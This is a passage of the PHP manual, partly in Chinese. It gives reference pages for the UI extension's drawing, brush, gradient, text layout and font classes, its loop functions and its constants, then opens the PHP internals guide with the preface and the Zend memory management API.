Shall retrieve the line cap setting of this Stroke

参数

此函数没有参数。

返回值

UI\Draw\Line\Cap::Flat, UI\Draw\Line\Cap::Round, or UI\Draw\Line\Cap::Square

User Contributed Notes

There are no user contributed notes for this page.


Get Line Join

  • ? UI\Draw\Stroke::getCap
  • UI\Draw\Stroke::getMiterLimit ?
  • PHP Manual
  • UI\Draw\Stroke
  • Get Line Join

UI\Draw\Stroke::getJoin

(PHP 7, UI 0.9.9)

UI\Draw\Stroke::getJoin — Get Line Join

说明

public UI\Draw\Stroke::getJoin ( void ) : int

Shall retrieve the line join setting of this Stroke

参数

此函数没有参数。

返回值

UI\Draw\Line\Join::Miter, UI\Draw\Line\Join::Round, or UI\Draw\Line\Join::Bevel

User Contributed Notes

There are no user contributed notes for this page.


Get Miter Limit

  • ? UI\Draw\Stroke::getJoin
  • UI\Draw\Stroke::getThickness ?
  • PHP Manual
  • UI\Draw\Stroke
  • Get Miter Limit

UI\Draw\Stroke::getMiterLimit

(PHP 7, UI 0.9.9)

UI\Draw\Stroke::getMiterLimit — Get Miter Limit

说明

public UI\Draw\Stroke::getMiterLimit ( void ) : float

Shall retrieve the miter limit of this Stroke

参数

此函数没有参数。

返回值

The current miter limit

User Contributed Notes

There are no user contributed notes for this page.


Get Thickness

  • ? UI\Draw\Stroke::getMiterLimit
  • UI\Draw\Stroke::setCap ?
  • PHP Manual
  • UI\Draw\Stroke
  • Get Thickness

UI\Draw\Stroke::getThickness

(PHP 7, UI 0.9.9)

UI\Draw\Stroke::getThickness — Get Thickness

说明

public UI\Draw\Stroke::getThickness ( void ) : float

Shall retrieve the thickness of this Stroke

参数

此函数没有参数。

返回值

The current thickness

User Contributed Notes

There are no user contributed notes for this page.


Set Line Cap

  • ? UI\Draw\Stroke::getThickness
  • UI\Draw\Stroke::setJoin ?
  • PHP Manual
  • UI\Draw\Stroke
  • Set Line Cap

UI\Draw\Stroke::setCap

(PHP 7, UI 0.9.9)

UI\Draw\Stroke::setCap — Set Line Cap

说明

public UI\Draw\Stroke::setCap ( int $cap )

Shall set the line cap setting for this Stroke

参数

cap

UI\Draw\Line\Cap::Flat, UI\Draw\Line\Cap::Round, or UI\Draw\Line\Cap::Square

User Contributed Notes

There are no user contributed notes for this page.


Set Line Join

  • ? UI\Draw\Stroke::setCap
  • UI\Draw\Stroke::setMiterLimit ?
  • PHP Manual
  • UI\Draw\Stroke
  • Set Line Join

UI\Draw\Stroke::setJoin

(PHP 7, UI 0.9.9)

UI\Draw\Stroke::setJoin — Set Line Join

说明

public UI\Draw\Stroke::setJoin ( int $join )

Shall set the line join setting for this Stroke

参数

join

UI\Draw\Line\Join::Miter, UI\Draw\Line\Join::Round, or UI\Draw\Line\Join::Bevel

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set Miter Limit

  • ? UI\Draw\Stroke::setJoin
  • UI\Draw\Stroke::setThickness ?
  • PHP Manual
  • UI\Draw\Stroke
  • Set Miter Limit

UI\Draw\Stroke::setMiterLimit

(PHP 7, UI 0.9.9)

UI\Draw\Stroke::setMiterLimit — Set Miter Limit

说明

public UI\Draw\Stroke::setMiterLimit ( float $limit )

Set the miter limit for this Stroke

参数

limit

The new limit

User Contributed Notes

There are no user contributed notes for this page.


Set Thickness

  • ? UI\Draw\Stroke::setMiterLimit
  • UI\Draw\Brush ?
  • PHP Manual
  • UI\Draw\Stroke
  • Set Thickness

UI\Draw\Stroke::setThickness

(PHP 7, UI 0.9.9)

UI\Draw\Stroke::setThickness — Set Thickness

说明

public UI\Draw\Stroke::setThickness ( float $thickness )

Shall set the thickness for this Stroke

参数

thickness

The new thickness

User Contributed Notes

There are no user contributed notes for this page.


Brushes

(PHP 7, UI 0.9.9)

简介

Represents a solid color brush

类摘要

UI\Draw\Brush {
/* Constructor */
public __construct ( UI\Draw\Color $color )
public __construct ( int $color )
/* 方法 */
public getColor ( void ) : UI\Draw\Color
public setColor ( UI\Draw\Color $color ) : void
public setColor ( int $color ) : void
}

Table of Contents

  • UI\Draw\Brush::__construct — Construct a new Brush
  • UI\Draw\Brush::getColor — Get Color
  • UI\Draw\Brush::setColor — Set Color

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Brush

  • ? UI\Draw\Brush
  • UI\Draw\Brush::getColor ?
  • PHP Manual
  • UI\Draw\Brush
  • Construct a new Brush

UI\Draw\Brush::__construct

(PHP 7, UI 0.9.9)

UI\Draw\Brush::__construct — Construct a new Brush

说明

public UI\Draw\Brush::__construct ( UI\Draw\Color $color )
public UI\Draw\Brush::__construct ( int $color )

Shall construct a solid brush using the given color

参数

color

Can be a UI\Draw\Color or RRGGBBAA

User Contributed Notes

There are no user contributed notes for this page.


Get Color

  • ? UI\Draw\Brush::__construct
  • UI\Draw\Brush::setColor ?
  • PHP Manual
  • UI\Draw\Brush
  • Get Color

UI\Draw\Brush::getColor

(PHP 7, UI 0.9.9)

UI\Draw\Brush::getColor — Get Color

说明

public UI\Draw\Brush::getColor ( void ) : UI\Draw\Color

Shall return a UI\Draw\Color for this brush

参数

此函数没有参数。

返回值

The current color of the brush

User Contributed Notes

There are no user contributed notes for this page.


Set Color

  • ? UI\Draw\Brush::getColor
  • UI\Draw\Brush\Gradient ?
  • PHP Manual
  • UI\Draw\Brush
  • Set Color

UI\Draw\Brush::setColor

(PHP 7, UI 0.9.9)

UI\Draw\Brush::setColor — Set Color

说明

public UI\Draw\Brush::setColor ( UI\Draw\Color $color ) : void
public UI\Draw\Brush::setColor ( int $color ) : void

Shall set the color of this brush to the color provided

参数

color

Can be a UI\Draw\Color or RRGGBBAA

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gradient Brushes

(PHP 7, UI 2.0.0)

简介

Abstract for gradient brushes

类摘要

abstract UI\Draw\Brush\Gradient extends UI\Draw\Brush {
/* 方法 */
public addStop ( float $position , UI\Draw\Color $color ) : int
public addStop ( float $position , int $color ) : int
public delStop ( int $index ) : int
public setStop ( int $index , float $position , UI\Draw\Color $color ) : bool
public setStop ( int $index , float $position , int $color ) : bool
/* 继承的方法 */
public UI\Draw\Brush::getColor ( void ) : UI\Draw\Color
public UI\Draw\Brush::setColor ( UI\Draw\Color $color ) : void
public UI\Draw\Brush::setColor ( int $color ) : void
}

Table of Contents

  • UI\Draw\Brush\Gradient::addStop — Stop Manipulation
  • UI\Draw\Brush\Gradient::delStop — Stop Manipulation
  • UI\Draw\Brush\Gradient::setStop — Stop Manipulation

User Contributed Notes

There are no user contributed notes for this page.


Stop Manipulation

  • ? UI\Draw\Brush\Gradient
  • UI\Draw\Brush\Gradient::delStop ?
  • PHP Manual
  • UI\Draw\Brush\Gradient
  • Stop Manipulation

UI\Draw\Brush\Gradient::addStop

(PHP 7, UI 2.0.0)

UI\Draw\Brush\Gradient::addStop — Stop Manipulation

说明

public UI\Draw\Brush\Gradient::addStop ( float $position , UI\Draw\Color $color ) : int
public UI\Draw\Brush\Gradient::addStop ( float $position , int $color ) : int

Shall at a stop of the given color at the given position

参数

position

The position for the new stop

color

The color for the new stop, may be UI\Draw\Color or RRGGBBAA

返回值

Total number of stops

User Contributed Notes

There are no user contributed notes for this page.


Stop Manipulation

  • ? UI\Draw\Brush\Gradient::addStop
  • UI\Draw\Brush\Gradient::setStop ?
  • PHP Manual
  • UI\Draw\Brush\Gradient
  • Stop Manipulation

UI\Draw\Brush\Gradient::delStop

(PHP 7, UI 2.0.0)

UI\Draw\Brush\Gradient::delStop — Stop Manipulation

说明

public UI\Draw\Brush\Gradient::delStop ( int $index ) : int

Warning

本函数还未编写文档，仅有参数列表。

参数

index

返回值

Total number of stops

User Contributed Notes

There are no user contributed notes for this page.


Stop Manipulation

  • ? UI\Draw\Brush\Gradient::delStop
  • UI\Draw\Brush\LinearGradient ?
  • PHP Manual
  • UI\Draw\Brush\Gradient
  • Stop Manipulation

UI\Draw\Brush\Gradient::setStop

(PHP 7, UI 2.0.0)

UI\Draw\Brush\Gradient::setStop — Stop Manipulation

说明

public UI\Draw\Brush\Gradient::setStop ( int $index , float $position , UI\Draw\Color $color ) : bool
public UI\Draw\Brush\Gradient::setStop ( int $index , float $position , int $color ) : bool

参数

index

The index of the stop to set

position

The position for the stop

color

The color for the stop, may be UI\Draw\Color or RRGGBBAA

返回值

Indication of success

User Contributed Notes

There are no user contributed notes for this page.


Linear Gradient

(PHP 7, UI 2.0.0)

简介

类摘要

UI\Draw\Brush\LinearGradient extends UI\Draw\Brush\Gradient {
/* Constructor */
public __construct ( UI\Point $start , UI\Point $end )
/* 继承的方法 */
public UI\Draw\Brush\Gradient::addStop ( float $position , UI\Draw\Color $color ) : int
public UI\Draw\Brush\Gradient::addStop ( float $position , int $color ) : int
public UI\Draw\Brush\Gradient::delStop ( int $index ) : int
public UI\Draw\Brush\Gradient::setStop ( int $index , float $position , UI\Draw\Color $color ) : bool
public UI\Draw\Brush\Gradient::setStop ( int $index , float $position , int $color ) : bool
}

Table of Contents

  • UI\Draw\Brush\LinearGradient::__construct — Construct a Linear Gradient

User Contributed Notes

There are no user contributed notes for this page.


Construct a Linear Gradient

  • ? UI\Draw\Brush\LinearGradient
  • UI\Draw\Brush\RadialGradient ?
  • PHP Manual
  • UI\Draw\Brush\LinearGradient
  • Construct a Linear Gradient

UI\Draw\Brush\LinearGradient::__construct

(PHP 7, UI 2.0.0)

UI\Draw\Brush\LinearGradient::__construct — Construct a Linear Gradient

说明

public UI\Draw\Brush\LinearGradient::__construct ( UI\Point $start , UI\Point $end )

Shall construct a new linear gradient

参数

start

end

User Contributed Notes

There are no user contributed notes for this page.


Radial Gradient

(PHP 7, UI 2.0.0)

简介

类摘要

UI\Draw\Brush\RadialGradient extends UI\Draw\Brush\Gradient {
/* Constructor */
public __construct ( UI\Point $start , UI\Point $outer , float $radius )
/* 继承的方法 */
public UI\Draw\Brush\Gradient::addStop ( float $position , UI\Draw\Color $color ) : int
public UI\Draw\Brush\Gradient::addStop ( float $position , int $color ) : int
public UI\Draw\Brush\Gradient::delStop ( int $index ) : int
public UI\Draw\Brush\Gradient::setStop ( int $index , float $position , UI\Draw\Color $color ) : bool
public UI\Draw\Brush\Gradient::setStop ( int $index , float $position , int $color ) : bool
}

Table of Contents

  • UI\Draw\Brush\RadialGradient::__construct — Construct a new Radial Gradient

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Radial Gradient

  • ? UI\Draw\Brush\RadialGradient
  • UI\Draw\Text\Layout ?
  • PHP Manual
  • UI\Draw\Brush\RadialGradient
  • Construct a new Radial Gradient

UI\Draw\Brush\RadialGradient::__construct

(PHP 7, UI 2.0.0)

UI\Draw\Brush\RadialGradient::__construct — Construct a new Radial Gradient

说明

public UI\Draw\Brush\RadialGradient::__construct ( UI\Point $start , UI\Point $outer , float $radius )

Shall construct a new radial gradient

参数

start

outer

radius

User Contributed Notes

There are no user contributed notes for this page.


Represents Text Layout

(PHP 7, UI 0.9.9)

简介

A Text Layout represents the layout of text which will be drawn by the Pen

类摘要

UI\Draw\Text\Layout {
/* Constructor */
public __construct ( string $text , UI\Draw\Text\Font $font , float $width )
/* 方法 */
public setColor ( UI\Draw\Color $color [, int $start = 0 [, int $end ]] )
public setColor ( int $color [, int $start = 0 [, int $end ]] )
public setWidth ( float $width )
}

Table of Contents

  • UI\Draw\Text\Layout::__construct — Construct a new Text Layout
  • UI\Draw\Text\Layout::setColor — Set Color
  • UI\Draw\Text\Layout::setWidth — Set Width

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Text Layout

  • ? UI\Draw\Text\Layout
  • UI\Draw\Text\Layout::setColor ?
  • PHP Manual
  • UI\Draw\Text\Layout
  • Construct a new Text Layout

UI\Draw\Text\Layout::__construct

(PHP 7, UI 0.9.9)

UI\Draw\Text\Layout::__construct — Construct a new Text Layout

说明

public UI\Draw\Text\Layout::__construct ( string $text , UI\Draw\Text\Font $font , float $width )

Shall construct a new Text Layout

参数

text

The text for the layout

font

The font to use for writing

width

The width of the layout

User Contributed Notes

There are no user contributed notes for this page.


Set Color

  • ? UI\Draw\Text\Layout::__construct
  • UI\Draw\Text\Layout::setWidth ?
  • PHP Manual
  • UI\Draw\Text\Layout
  • Set Color

UI\Draw\Text\Layout::setColor

(PHP 7, UI 0.9.9)

UI\Draw\Text\Layout::setColor — Set Color

说明

public UI\Draw\Text\Layout::setColor ( UI\Draw\Color $color [, int $start = 0 [, int $end ]] )
public UI\Draw\Text\Layout::setColor ( int $color [, int $start = 0 [, int $end ]] )

Shall set the Color for all of, or a range of the text in the Layout

参数

color

The color to use

start

The starting character

end

The ending character, by default the end of the string

User Contributed Notes

There are no user contributed notes for this page.


Set Width

  • ? UI\Draw\Text\Layout::setColor
  • UI\Draw\Text\Font ?
  • PHP Manual
  • UI\Draw\Text\Layout
  • Set Width

UI\Draw\Text\Layout::setWidth

(PHP 7, UI 0.9.9)

UI\Draw\Text\Layout::setWidth — Set Width

说明

public UI\Draw\Text\Layout::setWidth ( float $width )

Shall set the width of this Text Layout

参数

width

The new width

User Contributed Notes

There are no user contributed notes for this page.


Represents a Font

(PHP 7, UI 0.9.9)

简介

Loads a described font

类摘要

UI\Draw\Text\Font {
/* Constructor */
public __construct ( UI\Draw\Text\Font\Descriptor $descriptor )
/* 方法 */
public getAscent ( void ) : float
public getDescent ( void ) : float
public getLeading ( void ) : float
public getUnderlinePosition ( void ) : float
public getUnderlineThickness ( void ) : float
}

Table of Contents

  • UI\Draw\Text\Font::__construct — Construct a new Font
  • UI\Draw\Text\Font::getAscent — Font Metrics
  • UI\Draw\Text\Font::getDescent — Font Metrics
  • UI\Draw\Text\Font::getLeading — Font Metrics
  • UI\Draw\Text\Font::getUnderlinePosition — Font Metrics
  • UI\Draw\Text\Font::getUnderlineThickness — Font Metrics

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Font

  • ? UI\Draw\Text\Font
  • UI\Draw\Text\Font::getAscent ?
  • PHP Manual
  • UI\Draw\Text\Font
  • Construct a new Font

UI\Draw\Text\Font::__construct

(PHP 7, UI 0.9.9)

UI\Draw\Text\Font::__construct — Construct a new Font

说明

public UI\Draw\Text\Font::__construct ( UI\Draw\Text\Font\Descriptor $descriptor )

Shall construct a new Font using the given descriptor

参数

descriptor

The descriptor for the Font

User Contributed Notes

There are no user contributed notes for this page.


Font Metrics

  • ? UI\Draw\Text\Font::__construct
  • UI\Draw\Text\Font::getDescent ?
  • PHP Manual
  • UI\Draw\Text\Font
  • Font Metrics

UI\Draw\Text\Font::getAscent

(PHP 7, UI 1.0.3)

UI\Draw\Text\Font::getAscent — Font Metrics

说明

public UI\Draw\Text\Font::getAscent ( void ) : float

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Font Metrics

  • ? UI\Draw\Text\Font::getAscent
  • UI\Draw\Text\Font::getLeading ?
  • PHP Manual
  • UI\Draw\Text\Font
  • Font Metrics

UI\Draw\Text\Font::getDescent

(PHP 7, UI 1.0.3)

UI\Draw\Text\Font::getDescent — Font Metrics

说明

public UI\Draw\Text\Font::getDescent ( void ) : float

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Font Metrics

  • ? UI\Draw\Text\Font::getDescent
  • UI\Draw\Text\Font::getUnderlinePosition ?
  • PHP Manual
  • UI\Draw\Text\Font
  • Font Metrics

UI\Draw\Text\Font::getLeading

(PHP 7, UI 1.0.3)

UI\Draw\Text\Font::getLeading — Font Metrics

说明

public UI\Draw\Text\Font::getLeading ( void ) : float

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Font Metrics

  • ? UI\Draw\Text\Font::getLeading
  • UI\Draw\Text\Font::getUnderlineThickness ?
  • PHP Manual
  • UI\Draw\Text\Font
  • Font Metrics

UI\Draw\Text\Font::getUnderlinePosition

(PHP 7, UI 1.0.3)

UI\Draw\Text\Font::getUnderlinePosition — Font Metrics

说明

public UI\Draw\Text\Font::getUnderlinePosition ( void ) : float

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Font Metrics

  • ? UI\Draw\Text\Font::getUnderlinePosition
  • UI\Draw\Text\Font\Descriptor ?
  • PHP Manual
  • UI\Draw\Text\Font
  • Font Metrics

UI\Draw\Text\Font::getUnderlineThickness

(PHP 7, UI 1.0.3)

UI\Draw\Text\Font::getUnderlineThickness — Font Metrics

说明

public UI\Draw\Text\Font::getUnderlineThickness ( void ) : float

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Font Descriptor

(PHP 7, UI 0.9.9)

简介

Describes a font

类摘要

UI\Draw\Text\Font\Descriptor {
/* Constructor */
public __construct ( string $family , float $size [, int $weight = UI\Draw\Text\Font\Weight::Normal [, int $italic = UI\Draw\Text\Font\Italic::Normal [, int $stretch = UI\Draw\Text\Font\Stretch::Normal ]]] )
/* 方法 */
public getFamily ( void ) : string
public getItalic ( void ) : int
public getSize ( void ) : float
public getStretch ( void ) : int
public getWeight ( void ) : int
}

Table of Contents

  • UI\Draw\Text\Font\Descriptor::__construct — Construct a new Font Descriptor
  • UI\Draw\Text\Font\Descriptor::getFamily — Get Font Family
  • UI\Draw\Text\Font\Descriptor::getItalic — Style Detection
  • UI\Draw\Text\Font\Descriptor::getSize — Size Detection
  • UI\Draw\Text\Font\Descriptor::getStretch — Style Detection
  • UI\Draw\Text\Font\Descriptor::getWeight — Weight Detection

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Font Descriptor

  • ? UI\Draw\Text\Font\Descriptor
  • UI\Draw\Text\Font\Descriptor::getFamily ?
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Construct a new Font Descriptor

UI\Draw\Text\Font\Descriptor::__construct

(PHP 7, UI 0.9.9)

UI\Draw\Text\Font\Descriptor::__construct — Construct a new Font Descriptor

说明

public UI\Draw\Text\Font\Descriptor::__construct ( string $family , float $size [, int $weight = UI\Draw\Text\Font\Weight::Normal [, int $italic = UI\Draw\Text\Font\Italic::Normal [, int $stretch = UI\Draw\Text\Font\Stretch::Normal ]]] )

Shall construct a new Font Descriptor

参数

family

The name of a valid family of fonts

size

The preferred size

weight

UI\Draw\Text\Font\Weight constant

italic

UI\Draw\Text\Font\Italic constant

stretch

UI\Draw\Text\Font\Stretch constant

User Contributed Notes

There are no user contributed notes for this page.


Get Font Family

  • ? UI\Draw\Text\Font\Descriptor::__construct
  • UI\Draw\Text\Font\Descriptor::getItalic ?
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Get Font Family

UI\Draw\Text\Font\Descriptor::getFamily

(PHP 7, UI 1.0.3)

UI\Draw\Text\Font\Descriptor::getFamily — Get Font Family

说明

public UI\Draw\Text\Font\Descriptor::getFamily ( void ) : string

Shall return the requested font family

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Style Detection

  • ? UI\Draw\Text\Font\Descriptor::getFamily
  • UI\Draw\Text\Font\Descriptor::getSize ?
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Style Detection

UI\Draw\Text\Font\Descriptor::getItalic

(PHP 7, UI 1.0.3)

UI\Draw\Text\Font\Descriptor::getItalic — Style Detection

说明

public UI\Draw\Text\Font\Descriptor::getItalic ( void ) : int

Shall return constant setting

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Size Detection

  • ? UI\Draw\Text\Font\Descriptor::getItalic
  • UI\Draw\Text\Font\Descriptor::getStretch ?
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Size Detection

UI\Draw\Text\Font\Descriptor::getSize

(PHP 7, UI 1.0.3)

UI\Draw\Text\Font\Descriptor::getSize — Size Detection

说明

public UI\Draw\Text\Font\Descriptor::getSize ( void ) : float

Shall return the requested size

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Style Detection

  • ? UI\Draw\Text\Font\Descriptor::getSize
  • UI\Draw\Text\Font\Descriptor::getWeight ?
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Style Detection

UI\Draw\Text\Font\Descriptor::getStretch

(PHP 7, UI 1.0.3)

UI\Draw\Text\Font\Descriptor::getStretch — Style Detection

说明

public UI\Draw\Text\Font\Descriptor::getStretch ( void ) : int

Shall return requested stretch

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Weight Detection

  • ? UI\Draw\Text\Font\Descriptor::getStretch
  • UI 函数 ?
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Weight Detection

UI\Draw\Text\Font\Descriptor::getWeight

(PHP 7, UI 1.0.3)

UI\Draw\Text\Font\Descriptor::getWeight — Weight Detection

说明

public UI\Draw\Text\Font\Descriptor::getWeight ( void ) : int

Shall return requested weight

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


UI 函数

Table of Contents

  • UI\Draw\Text\Font\fontFamilies — Retrieve Font Families
  • UI\quit — Quit UI Loop
  • UI\run — Enter UI Loop

User Contributed Notes

There are no user contributed notes for this page.


Retrieve Font Families

  • ? UI 函数
  • UI\quit ?
  • PHP Manual
  • UI 函数
  • Retrieve Font Families

UI\Draw\Text\Font\fontFamilies

(PHP 7, UI 0.9.9)

UI\Draw\Text\Font\fontFamilies — Retrieve Font Families

说明

UI\Draw\Text\Font\fontFamilies ( void ) : array

Returns an array of valid font families for the current system

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Quit UI Loop

  • ? UI\Draw\Text\Font\fontFamilies
  • UI\run ?
  • PHP Manual
  • UI 函数
  • Quit UI Loop

UI\quit

(PHP 7, UI 2.0.0)

UI\quit — Quit UI Loop

说明

UI\quit ( void ) : void

Shall cause the main loop to be exited

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Enter UI Loop

  • ? UI\quit
  • UI\Draw\Text\Font\Weight ?
  • PHP Manual
  • UI 函数
  • Enter UI Loop

UI\run

(PHP 7, UI 2.0.0)

UI\run — Enter UI Loop

说明

UI\run ([ int $flags ] ) : void

Shall cause PHP to enter into the main loop, by default control will not be returned to the caller

参数

flags

Set UI\Loop to return control, and UI\Wait to return control after waiting

返回值

User Contributed Notes

There are no user contributed notes for this page.


Font Weight Settings

(PHP 7, UI 0.9.9)

简介

类摘要

final UI\Draw\Text\Font\Weight {
/* Constants */
const integer Thin ;
const integer UltraLight ;
const integer Light ;
const integer Book ;
const integer Normal ;
const integer Medium ;
const integer SemiBold ;
const integer Bold ;
const integer UltraBold ;
const integer Heavy ;
const integer UltraHeavy ;
}

User Contributed Notes

There are no user contributed notes for this page.


Italic Font Settings

(PHP 7, UI 0.9.9)

简介

类摘要

final UI\Draw\Text\Font\Italic {
/* Constants */
const integer Normal = 0 ;
const integer Oblique = 1 ;
const integer Italic = 2 ;
}

User Contributed Notes

There are no user contributed notes for this page.


Font Stretch Settings

(PHP 7, UI 0.9.9)

简介

类摘要

final UI\Draw\Text\Font\Stretch {
/* Constants */
const integer UltraCondensed = 0 ;
const integer ExtraCondensed = 1 ;
const integer Condensed = 2 ;
const integer SemiCondensed = 3 ;
const integer Normal = 4 ;
const integer SemiExpanded = 5 ;
const integer Expanded = 6 ;
const integer ExtraExpanded = 7 ;
const integer UltraExpanded = 8 ;
}

User Contributed Notes

There are no user contributed notes for this page.


Line Cap Settings

(PHP 7, UI 0.9.9)

简介

类摘要

final UI\Draw\Line\Cap {
/* Constants */
const integer Flat ;
const integer Round ;
const integer Square ;
}

User Contributed Notes

There are no user contributed notes for this page.


Line Join Settings

(PHP 7, UI 0.9.9)

简介

类摘要

final UI\Draw\Line\Join {
/* Constants */
const integer Miter ;
const integer Round ;
const integer Bevel ;
}

User Contributed Notes

There are no user contributed notes for this page.


Key Identifiers

(PHP 7, UI 1.0.0)

简介

类摘要

final UI\Key {
/* Constants */
const integer Escape ;
const integer Insert ;
const integer Delete ;
const integer Home ;
const integer End ;
const integer PageUp ;
const integer PageDown ;
const integer Up ;
const integer Down ;
const integer Left ;
const integer Right ;
const integer F1 ;
const integer F2 ;
const integer F3 ;
const integer F4 ;
const integer F5 ;
const integer F6 ;
const integer F7 ;
const integer F8 ;
const integer F9 ;
const integer F10 ;
const integer F11 ;
const integer F12 ;
const integer N0 ;
const integer N1 ;
const integer N2 ;
const integer N3 ;
const integer N4 ;
const integer N5 ;
const integer N6 ;
const integer N7 ;
const integer N8 ;
const integer N9 ;
const integer NDot ;
const integer NEnter ;
const integer NAdd ;
const integer NSubtract ;
const integer NMultiply ;
const integer NDivide ;
}

User Contributed Notes

There are no user contributed notes for this page.


InvalidArgumentException

(PHP 7, UI 1.0.3)

简介

类摘要

UI\Exception\InvalidArgumentException extends InvalidArgumentException implements Throwable {
/* 继承的属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 继承的方法 */
final public Exception::getMessage ( void ) : string
final public Exception::getPrevious ( void ) : Throwable
final public Exception::getCode ( void ) : int
final public Exception::getFile ( void ) : string
final public Exception::getLine ( void ) : int
final public Exception::getTrace ( void ) : array
final public Exception::getTraceAsString ( void ) : string
public Exception::__toString ( void ) : string
final private Exception::__clone ( void ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


RuntimeException

(PHP 7, UI 1.0.3)

简介

类摘要

UI\Exception\RuntimeException extends RuntimeException implements Throwable {
/* 继承的属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 继承的方法 */
final public Exception::getMessage ( void ) : string
final public Exception::getPrevious ( void ) : Throwable
final public Exception::getCode ( void ) : int
final public Exception::getFile ( void ) : string
final public Exception::getLine ( void ) : int
final public Exception::getTrace ( void ) : array
final public Exception::getTraceAsString ( void ) : string
public Exception::__toString ( void ) : string
final private Exception::__clone ( void ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


PHP 核心：骇客指南

  • 序言
  • 内存管理
    • 内存管理基础
    • 数据持久化
    • 线程安全的资源管理器
  • 变量的使用
    • 介绍
    • 创建变量并设置值
  • 函数的编写
  • 类和对象的使用
  • 资源的使用
  • INI 设置的使用
  • 流的使用
  • "counter" 扩展 - 一个连续的实例
    • 安装／配置
    • 预定义常量
    • 范例
    • Counter — Counter 类
    • Basic — 简单接口
    • Extended — 扩展接口
  • PHP 5 构建系统
    • PHP 扩展开发构建
    • ext_skel 脚本
    • 与 UNIX 构建系统交互: config.m4
    • 使用 Windows 构建系统：config.w32
  • 扩展的结构
    • 组成扩展的文件
    • Basic constructs
    • The zend_module structure
    • Extension globals
    • Life cycle of an extension
    • Testing an extension
  • PDO 驱动
    • 前提条件
    • 配置与管理
    • Fleshing out your skeleton
    • Building
    • Testing
    • Packaging and distribution
    • pdo_dbh_t definition
    • pdo_stmt_t definition
    • Constants
    • Error handling
  • 扩展相关 FAQ
  • Zend Engine 2 API 参考
  • Zend Engine 2 操作码列表
    • Opcode Descriptions and Examples
  • Zend Engine 1
    • 旧的介绍
    • Streams API for PHP Extension Authors
    • Zend API：深入 PHP 内核
    • TSRM API

User Contributed Notes

There are no user contributed notes for this page.


序言

Zend API 随着时间不断向前进化，PHP 已变成为一种更健壮与普及的编程语言。随着 PHP 5 的推出，Zend Engine 2 (ZE2)也到来了。ZE2 带来了全新的面向对象编程(OOP)模型，以及大量 API 的改进。PHP 6 ，在此文档编写时还处于活跃的开发状态，引入了 Zend Engine 3 (ZE3)，将在语言中带来完全的 Unicode 支持。

Warning

此文档还有大量的开发工作。原来的 Zend 文档被完整的保留在 Zend Engine 1 章节下，用于在此文档未完成前进行查看。

此手册章节针对于 ZE2。PHP 4.4 还在被广泛地使用着，与 ZE1 扩展的工作方式的不同点比较少，因此在本章的附录中有对它的简单引用。在 PHP 6 进行 beta 测试阶段时，将会有更全面地进行文档工作。

此章节的文档内容当前针对 PHP 5.2.11(本文编写时最新的 PHP 5.2 稳定发行版本)。在 PHP 5 的小版本(5.0 - 5.3）上的差异会有相应的说明。

User Contributed Notes

There are no user contributed notes for this page.


内存管理

Table of Contents

  • 内存管理基础
  • 数据持久化
  • 线程安全的资源管理器

Zend 引擎的内存管理出奇的简单。一些 API 要学习，一些背后的概念要理解，这就是全部。

User Contributed Notes

There are no user contributed notes for this page.


内存管理基础

用 C 语言编程时，开发者要手工地进行内存管理。因为 PHP 经常用作 Web 服务器的模块，内存管理与预防内存泄漏紧密关联。此外要知道 PHP 可能用于线程环境中，这意味着全局变量可能导致竞争状况。有关线程内全局数据处理的信息请参见作为线程隔离设施的 线程安全的资源管理器。

此外，Zend 引擎要面对一个十分特殊的使用模式：在一段比较短的时间内，许多 zval 结构大小的内存块和其他的小内存块被申请又再被释放。PHP 的内存管理也很重视 memory_limit(内存限制)。

为了满足以上的需求，Zend 引擎提供为了处理请求相关数据提供了一种特殊的内存管理器。请求相关数据是指只需要服务于单个请求，最迟会在请求结束时释放的数据。扩展开发者主要接触下表中列出的惯例。虽然一些所提供的便捷功能是用宏实现的，但在本文中会象函数一样对待。

主要的内存 APIs
原型 | 说明
void *emalloc(size_t size) | 分配 size 字节的内存。
void *ecalloc(size_t nmemb, size_t size) | 给 nmemb 元素分配 size 字节的缓冲区并初始化为零。
void *erealloc(void *ptr, size_t size) | 修改使用 emalloc 分配的缓冲区 ptr 的大小为 size 字节。
void efree(void *ptr) | 释放 ptr 指向的缓冲区。缓冲区必须是由 emalloc 分配的。
void *safe_emalloc(size_t nmemb, size_t size, size_t offset) | 分配缓冲区来存放每块大小为 size 字节的 nmemb 块，并附加 offset 字节。类似于 emalloc(nmemb * size + offset)，但增加了针对溢出的特殊保护。
char *estrdup(const char *s) | 分配一个可存放 NULL 结尾的字符串 s 的缓冲区，并将 s 复制到缓冲区内。
char *estrndup(const char *s, unsigned int length) | 类似于 estrdup，但 NULL 结尾的字符串长度是已知的。

